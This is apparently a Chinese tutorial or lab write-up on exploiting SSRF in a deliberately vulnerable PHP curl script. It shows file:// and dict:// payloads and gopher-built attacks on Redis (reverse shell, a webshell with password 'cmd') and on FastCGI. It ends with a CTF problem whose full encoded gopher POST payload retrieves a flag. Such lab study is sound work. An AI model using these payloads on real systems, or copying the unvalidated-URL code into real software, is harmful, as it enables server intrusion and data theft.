代码
//index.php
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch);
curl_close($ch);
?>
file
#读取本地的文件
http://127.0.0.1/?url=file:///d://2.txt
dict
#探测不向外网开放的端口
http://127.0.0.1/?url=dict://123.57.62.22:80
gopher
gopher有特定的协议格式,构造比较麻烦,直接用https://github.com/tarunkant/Gopherus来构造包
介绍原理的文章:https://joychou.org/web/phpssrf.html
Redis
root权限下利用crontab反弹shell,ssh免密码登陆
低权限写入网站木马
以上两种都是利用了redis写文件的原理
①
构造gopher协议包
此处为php马,也可以构造反弹的shell。如果使用反弹shell,对于ubuntu靶机来说是特殊的,不过作者已经考虑到了,所以直接构造就可以了,不用管什么软链接。
![](https://i.imgur.com/RzGsOzd.png)
②访问ip/ssrf.php?url=
用burp截包
③填上构造的gopher包内容
![](https://i.imgur.com/LlXvUQC.png)
④编码
因为是get传参,所以要进行url编码,如果是post方式,则这一步不需要
![](https://i.imgur.com/SK7PFER.png)
⑤查看靶机
发送过去包后,redis的日志那里提示,数据保存到了硬盘上
⑥
在/var/www/html目录底下发现了shell.php,密码为cmd
FastCGI
如果fpm不在外网开放,我们可以通过ssrf进行攻击(如果存在ssrf漏洞的地方)
利用gopher协议攻击
![Snipaste_2019-11-15_20-49-44.png](https://i.loli.net/2019/11/15/CAzqPYZnNwSm9TV.png)
因为是get传参,所以要url编码,如果是post方式,则这一步不需要,编码使用burp来实现
burp截包,url的值改为gopher的内容,然后用burp编码
![](https://i.imgur.com/Sg7HdDP.png)
编码后
![](https://i.imgur.com/NGMvUh0.png)
发送包,成功执行了 whoami这条命令
GET,POST
//湖湘杯的一道题目,为了复现稍微有修改,环境apache+php
<?php
if(!isset($_GET['url'])){
echo "ssrf me with parameter 'url'";
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
//echo $_GET['url'];
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
echo curl_exec($ch);
curl_close($ch);
$ip = $_SERVER['REMOTE_ADDR'];
echo "<br>".$ip."<br>";
if(isset($_POST['user'])){
if($_POST['user']=="admin" && $ip=="127.0.0.1"){
echo "flag{123456}";
}
}
?>
payload:
http://192.168.3.120/?url=gopher%3A%2F%2F127.0.0.1%3A80%2F_POST+%2F+HTTP%2F1.1%250d%250aHost%3A+127.0.0.1%250d%250aUser-Agent%3A+curl%2F7.43.0%250d%250aAccept%3A+%2A%2F%2A%250d%250aContent-Length%3A+10%250d%250aContent-Type%3A+application%2Fx-www-form-urlencoded%250d%250a%250d%250auser%3Dadmin
访问:
复现成功,分析
gopher%3A%2F%2F127.0.0.1%3A80%2F_POST+%2F+HTTP%2F1.1%250d%250aHost%3A+127.0.0.1%250d%250aUser-Agent%3A+curl%2F7.43.0%250d%250aAccept%3A+%2A%2F%2A%250d%250aContent-Length%3A+10%250d%250aContent-Type%3A+application%2Fx-www-form-urlencoded%250d%250a%250d%250auser%3Dadmin
一次解码:
gopher://127.0.0.1:80/_POST+/+HTTP/1.1%0d%0aHost:+127.0.0.1%0d%0aUser-Agent:+curl/7.43.0%0d%0aAccept:+*/*%0d%0aContent-Length:+10%0d%0aContent-Type:+application/x-www-form-urlencoded%0d%0a%0d%0auser=admin
再次解码:
gopher://127.0.0.1:80/_POST+/+HTTP/1.1
Host:+127.0.0.1
User-Agent:+curl/7.43.0
Accept:+*/*
Content-Length:+10
Content-Type:+application/x-www-form-urlencoded
user=admin
分析:
192.168.3.120是靶机,192.168.3.119攻击方的主机
192.168.3.120这台接收到url参数后,利用了curl的gopher协议去进行了post请求
若输出flag的if判断是get方式的时候,gopher协议的请求方式直接由POST改为GET就可以。